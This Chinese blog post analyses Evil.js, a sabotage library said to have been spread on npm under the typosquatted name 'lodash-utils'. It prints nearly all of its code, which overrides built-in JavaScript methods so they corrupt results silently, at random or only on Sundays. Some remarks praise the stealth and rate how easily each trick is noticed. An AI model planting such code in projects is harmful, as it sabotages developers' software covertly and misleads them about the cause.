<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
2022年8月18日,一個名叫Evil.js
的專案突然走紅,README介紹如下:
什麼?黑心996公司要讓你提桶跑路了?
想在離開前給你們的專案留點小 禮物 ?
偷偷地把本專案引入你們的專案吧,你們的專案會有但不僅限於如下的神奇效果:
Array.includes
永遠返回false。Array.map
方法的結果總是會丟失最後一個元素。Array.filter
的結果有2%的概率丟失最後一個元素。setTimeout
總是會比預期時間慢1秒才觸發。Promise.then
在週日時有10%不會註冊。JSON.stringify
會把I
(大寫字母I)變成l
(小寫字母L)。Date.getTime()
的結果總是會慢一個小時。localStorage.getItem
有5%機率返回空字串。並且作者釋出了這個包到npm上,名叫lodash-utils
,一眼看上去,是個非常正常的npm包,跟utils-lodash
這個正經的包的名稱非常相似。
如果有人誤裝了lodash-utils
這個包並引入,程式碼錶現可能就一團亂麻了,還找不到原因。真是給黑心996公司的小“禮物”了。
現在,這個Github倉庫已經被刪除了(不過還是可以搜到一些人fork的程式碼),npm包也已經把它標記為存在安全問題,將程式碼從npm上移除了。可見npm官方還是很靠譜的,及時下線有風險的程式碼。
作者是如何做到的呢?我們可以學習一下,但是隻單純學技術,不要作惡噢。要做更多有趣的事情。
程式碼整體是一個立即執行函數,
(global => { })((0, eval('this')));
該函數的引數是(0, eval('this'))
,返回值其實就是window
,會賦值給函數的引數global
。
這樣的話,內部定義的變數不會向外暴露。
如果你直接在函數外面宣告變數,例如:const a = 123;
那麼你很可能就定義了全域性變數,用window.a
就獲取到它的值了,這不是個好習慣。
所以使用立即執行函數,可以方便的定義區域性變數。
陣列長度可以被7整除時,本方法永遠返回false。
const _includes = Array.prototype.includes; Array.prototype.includes = function (...args) { if (this.length % 7 !== 0) { return _includes.call(this, ...args); } else { return false; } };
includes
是一個非常常用的方法,判斷陣列中是否包括某一項。而且相容性還不錯,除了IE基本都支援。
作者具體方案是先儲存參照給_includes
。重寫includes
方法時,有時候呼叫_includes
,有時候不呼叫_includes
。
注意,這裡_includes
是一個閉包變數。所以它會常駐記憶體(在堆中),但是開發者沒有辦法去直接參照。
當週日時,Array.map方法的結果總是會丟失最後一個元素。
const _map = Array.prototype.map; Array.prototype.map = function (...args) { result = _map.call(this, ...args); if (new Date().getDay() === 0) { result.length = Math.max(result.length - 1, 0); } return result; }
如何判斷週日?new Date().getDay() === 0
即可。
這裡作者還做了相容性處理,相容了陣列長度為0的情況,通過Math.max(result.length - 1, 0)
,邊界情況也處理的很好。
Array.filter的結果有2%的概率丟失最後一個元素。
const _filter = Array.prototype.filter; Array.prototype.filter = function (...args) { result = _filter.call(this, ...args); if (Math.random() < 0.02) { result.length = Math.max(result.length - 1, 0); } return result; }
跟includes
一樣,不多介紹了。
setTimeout總是會比預期時間慢1秒才觸發。
const _timeout = global.setTimeout; global.setTimeout = function (handler, timeout, ...args) { return _timeout.call(global, handler, +timeout + 1000, ...args); }
這個其實不太好,太容易發現了,不建議用。
Promise.then 在週日時有10%機率不會註冊。
const _then = Promise.prototype.then; Promise.prototype.then = function (...args) { if (new Date().getDay() === 0 && Math.random() < 0.1) { return; } else { _then.call(this, ...args); } }
牛逼,週日的時候才出現的Bug,但是週日正好不上班。如果有使用者週日反饋了Bug,開發者週一上班後還無法復現,會以為是使用者環境問題。
JSON.stringify 會把'I'變成'l'。
const _stringify = JSON.stringify; JSON.stringify = function (...args) { return _stringify(...args).replace(/I/g, 'l'); }
字串的replace
方法,非常常用,但是很多開發者會誤用,以為'1234321'.replace('2', 't')
就會把所有的'2'替換為't',其實這隻會替換第一個出現的'2'。正確方案就是像作者一樣,第一個引數使用正則,並在後面加個g
表示全域性替換。
Date.getTime() 的結果總是會慢一個小時。
const _getTime = Date.prototype.getTime; Date.prototype.getTime = function (...args) { let result = _getTime.call(this); result -= 3600 * 1000; return result; }
localStorage.getItem 有5%機率返回空字串。
const _getItem = global.localStorage.getItem; global.localStorage.getItem = function (...args) { let result = _getItem.call(global.localStorage, ...args); if (Math.random() < 0.05) { result = ''; } return result; }
作者很聰明,有多種方式去改寫原生行為。
但是除了作惡,我們還可以做更多有價值的事情,比如:
以上就是Evil.js專案原始碼解讀的詳細內容,更多關於Evil.js原始碼解讀的資料請關注it145.com其它相關文章!
相關文章
<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
综合看Anker超能充系列的性价比很高,并且与不仅和iPhone12/苹果<em>Mac</em>Book很配,而且适合多设备充电需求的日常使用或差旅场景,不管是安卓还是Switch同样也能用得上它,希望这次分享能给准备购入充电器的小伙伴们有所
2021-06-01 09:31:42
除了L4WUDU与吴亦凡已经多次共事,成为了明面上的厂牌成员,吴亦凡还曾带领20XXCLUB全队参加2020年的一场音乐节,这也是20XXCLUB首次全员合照,王嗣尧Turbo、陈彦希Regi、<em>Mac</em> Ova Seas、林渝植等人全部出场。然而让
2021-06-01 09:31:34
目前应用IPFS的机构:1 谷歌<em>浏览器</em>支持IPFS分布式协议 2 万维网 (历史档案博物馆)数据库 3 火狐<em>浏览器</em>支持 IPFS分布式协议 4 EOS 等数字货币数据存储 5 美国国会图书馆,历史资料永久保存在 IPFS 6 加
2021-06-01 09:31:24
开拓者的车机是兼容苹果和<em>安卓</em>,虽然我不怎么用,但确实兼顾了我家人的很多需求:副驾的门板还配有解锁开关,有的时候老婆开车,下车的时候偶尔会忘记解锁,我在副驾驶可以自己开门:第二排设计很好,不仅配置了一个很大的
2021-06-01 09:30:48
不仅是<em>安卓</em>手机,苹果手机的降价力度也是前所未有了,iPhone12也“跳水价”了,发布价是6799元,如今已经跌至5308元,降价幅度超过1400元,最新定价确认了。iPhone12是苹果首款5G手机,同时也是全球首款5nm芯片的智能机,它
2021-06-01 09:30:45